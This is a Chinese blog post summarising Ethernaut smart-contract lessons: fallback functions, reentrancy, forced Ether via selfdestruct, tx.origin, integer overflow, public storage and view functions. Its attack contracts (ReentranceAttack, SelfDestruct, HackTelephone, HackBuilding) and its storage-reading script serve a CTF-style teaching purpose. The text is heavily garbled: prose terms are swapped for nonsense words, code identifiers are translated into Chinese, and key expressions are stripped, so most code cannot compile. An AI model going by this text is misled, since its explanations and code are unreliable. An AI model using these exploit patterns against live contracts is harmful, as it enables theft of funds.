开发以太坊智能合约要注意的几个坑

ETF智能和约的安全性打洞或穿孔不停地涌现,稍微普通和约,比方 token 合约,通常与 OpenZeppelin 为根底,来解除。OpenZeppelin 还切开了尾随者智能和约练习。:The Ethernaut,这是本人 wargame,眼前有 19 道题,每个成绩都是本人打洞或穿孔百出的和约。,hack 例如我们家可以经过进口税。。海拔打扮遵守,懂得和开展安全性的智能和约,假使你不变卖怎地做,你可以顾及同样辅导的。:Ethernaut 编撰 Part 1。本篇文字是对标题中触及的稍微知识点的总结。

Fallback 作用

ETF的智能和约,可以申诉隐姓埋名作用(未命名) 作用,叫做 Fallback 作用,同样作用不喜欢限度局限因素。,缺乏回转值。。当音讯被发送到和约时,假使缺乏找到婚配作用,它将被召唤。 fallback 作用。诸如,让和约,但和约欢迎。 Ether,这么 fallback 作用霉臭申诉为 payable,要不然,尝试让给本和约。 ETH 将破产。列举如下:

function() payable public { // payable 中心词,暗示此作用被召唤。,可向合约转 Ether。
}

送交和约 send、transfer、call 同时召唤该音讯。 fallback 作用,不同之处取决于 send 和 transfer 有 2300 gas 的限度局限,那执意传讯 fallback 的执意 2300 gas,同样 gas 仅有的用于记录,由于宁静举动将超越 2300 gas。但 call 剩的将要拿走了。 gas 都给 fallback 作用,这可能性引起圈召唤。。

call 可引起重入袭击,把钱让给和约,会召集 fallback 作用,列举如下:

contract Reentrance {

  映照(地址) => 尤因) public balances;

    // 再控告
  function 典赠(地址) 到) public payable {
    均衡力〔至〕 += 
  }

  // 反省均衡力
  function 地址(地址) 世卫建立组织) public view returns (英) 均衡) {
    return 均衡力[谁]
  }

  // 提现
  function withdraw(英) 总计) public {
    假使(均衡力) >= 总计) {
      if(.(总计)()) {
        _amount;
      }
      balances[] -= _amount;
    }
  }

  function() public payable {}
}
   
contract ReentranceAttack{
  Reentrance entrance;

  function ReentranceAttack(address 目的) public payable {
    entrance = Reentrance(目的);
  }

  function deposit() public payable{
      ();
  }

  function attack() public{
    (0.5 醚)
    (0.5 醚)
  }

  function() public payable{
    (0.5 醚)
  }

  function withdraw() public {
      .transfer();
  }
}

图中象征了袭击转换。:

image

袭击者首次召唤 ReentranceAttack 的 deposit() 作用发送 ETH 给 Reentrance 合约。例如再召集 attack() 取现,向 Reentrance 现钞画恳求,召唤 withdraw(),当体系被如愿以偿时 withdraw(),希望盟约 ReentranceAttack 转账,这将跳。 ReentranceAttack 的 fallback 作用。再次召唤此作用。 withdraw(),这引起递推召唤(如上文所示)。,白色箭镟身材本人肥胖的。,直到 gas 费用尽了。,或 Reentrance 和约的均衡力缺乏让的总计。,离开破产。

引起ETF二根分叉部的和约打洞或穿孔 DAO 事变,这执意它被袭击的方法。。我们家麝香在这边balances[] -= _amount; 转载前写好。。应用 send()transfer() 开展燃气面值,但这可能性引起和约中间的吊销召唤。 功用可能性因放出气体缺乏。

智能合约最佳效果遵守,提议应用 push 和 pull, 在 push 比例应用send()transfer(),在pull 比例应用()()。

离题话,缺乏如愿以偿 payable fallback 在以下两种局面下,和约的商定是可欢迎的 Ether: 1. 应用和约地址作为发掘地址 2. 召唤宁静和约的自毁功用 selfdestruct,并以和约的地址为限度局限因素。

A contract without a payable fallback function can receive Ether as a recipient of a coinbase transaction (阿卡 miner block 激励) or as a destination of a 自毁。

上面的加密可以如愿以偿为未如愿以偿的加密 payable fallback 作用的和约发送 ETH:

contract Force {/*
*/}

contract SelfDestruct {
    address public dest_address;
    
    function SelfDestruct(地址) dest_addr) payable{ // 应产生结果的的建造物作用,例如你可以在布置时期让和约。。
            dest_address = dest_addr
    } 
    
    function attack(){
        selfdestruct(dest_address); // 这边要详细说明为销毁时将基金发用无线电波发送的地址。
    }
}

Force 和约未执行。 payable 作用,虽然假使你经过前述事项 SelfDestruct 合约,创办时, Force 和约地址出口,同时发送稍微 ETH 给 SelfDestruction,例如再召集。 SelfDestruct 的 attack 作用,实现 selfdestruct,则 SelfDestruct 其他买到 ETH 将被发送到 Force。

和 分别,请看上面的加密:

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = ;
  }

  function changeOwner(address 富国者) public {
    if ( != ) {
      owner = _owner;
    }
  }
}

此处成呼叫,必要另一份和约, 更改和约地址, 如愿以偿和约的人。

contract HackTelephone {

  address public contractAddr = 0x9e...; // Telephone 和约地址

  Telephone telephone = Telephone(contractAddr);

  function changeowner() public  {
    ();
  }
}

这使成召唤变成可能性。 Telephone 的 changeOwner。 solidity 证件中间的提议

Never use for 依据。

圆整数挤满

function 转变(地址) _to, uint 面值) public returns (乔治英国数学家和逻辑学家) {
    请求(多余的) - _value >= 0);
    balances[] -= _value;
    均衡力〔至〕 += _value;
    return true;
  }

传入溢流 _value,例如转变的量挤满。。再者,圆整数的减法、乘法和除法。,提议应用 OpenZeppelin 如愿以偿的 SafeMath 合约。

和约通知贮存器建筑风格

以太设备的买到通知都是敞开的的。,设想申诉为公有变量的通知,请看上面的加密:

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 密电码) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 密电码) public {
    if (指挥部) == 密电码) {
      locked = false;
    }
  }
}

事实上,召唤 (contractAddr) 可以收购和约的买到围攻变量。,二等兵的或协同的。经过以下 js 加密行过 password 值:

var contractAddr = "0x9c...."; // Vault 和约地址
(contractAddr, 1, 作用(x), y) {
     ((y))
});

再看本人判例。:

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function 躲避(ByTES32 [ 3 ] ] 通知) public {
    data = _data;
  }
  
  function unlock(bytes16 中心) public {
    请求(键) == BYTES16(通知〔2〕〕
    locked = false;
  }
}

ETF的买到围攻变量收购该和约,constant 变量连续的编译成加密。,公开这边。。总宗教团体 5 个变量,经过反省:

let contractAddress = ''0x23..''; // 和约地址
for (贮藏所) = 0; index < 6; index++){
 storage = (contractAddress, index)
 (`[${index}]` + storage)

出口:

[0]0x0000000000000000000000000000000000000000000000000000007be0ff0a00
[1]0x01041553ed361174f92060a8390cbefad285f66969f14e9847bf233be4f252ec
[2]0xbcc6a03856edf34bf363b4ba202925265d535cbeadbc0d71ed3b3cef79b2116c
[3]0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54
[4]0x0000000000000000000000000000000000000000000000000000000000000000
[5]0x0000000000000000000000000000000000000000000000000000000000000000

首次出口剖析,0x7be0ff0a00,对应和约变量:施魔法的真值,10十六二元系 0x0a,255十六二元系 0xff,0x7be0ff0a00 终于六点纯粹这些面值的拼接。,而 0x7be0 麝香执意 awkwardness 的值,和约兼并感到愤恨的 32 八位字节的变量。大约,[1][2][3] 执意 data 同样八位字节街区,因而我们家可以断定 通知〔2〕 0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54。例如,不要在与二等兵和约同样看待的局面下连续的作出答应判决书。,一切都是可见的。!

view 和 pure

假使要申诉只读作用,不修正合约通知,通常,作用被宣告为 view 和 pure,它们的使明确:

View Functions
Functions can be declared view in which case they promise not to modify the 连箱的。

Pure Functions
Functions can be declared pure in which case they promise not to read from or modify the 连箱的。

作用可以申诉为看而不变换连箱的。但这是涣散的。,最近的 Solidity 汇编者不打动人的力量如愿以偿看作用(看)。 作用或持续的作用(constant 作用不克不及修正连箱的。而且缺乏打动人的力量纯作用。 作用不读取连箱的数据。因而宣告本人 view 和 pure 作用,不克不及许诺通知连箱的不能胜任的被修正。。请看上面的加密:

interface Building {
  function isLastFloor(尤因) view public returns (乔治英国数学家和逻辑学家);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(英) 议员席) public {
    Building building = Building();

    if (! (议员席)) {
      floor = _floor;
      top = (议员席)
    }
  }
}

isLastFloor 被宣告为 view,虽然我们家可以写本人可以被船桅的装置的连箱的。 isLastFloor 作用,回转 true,因此修正 Elevator 的 top 和 floor 变量,列举如下:

contract HackBuilding {   
    bool isLast = true;
    function isLastFloor(尤因)  public returns (乔治英国数学家和逻辑学家) {
        isLast = !isLast;
        return isLast;
    }
    
    function 黑客袭击(地址) 目的) public {
        Elevator elevator = Elevator(目的);
        (10);
    }
}

总结:

  1. fallback 作用:要向和约地址转账,要如愿以偿 payable fallback 作用。设想缺乏如愿以偿 payable fallback 作用,和约可欢迎两种局面 ETH:煤船员发掘 ETH 收益,另本人和约称为自毁功用。 selfdestruct 详细说明和约的代理人。
  2. 重入袭击,转变举动应用 send() 或许 transfer() 放量预防应用 call ,呼叫限度局限 gas 值。
  3. 以太任务坊中间的究竟哪一个通知都是吐艳的,设想是在智能和约中敞开的的变量。
  4. 不要用 权威坚信礼。
  5. 反省圆整数挤满,应用 MathSafe 库。
  6. 不以为申诉为 view 或 pure 作用永远只读的。。

发表评论

电子邮件地址不会被公开。 必填项已用*标注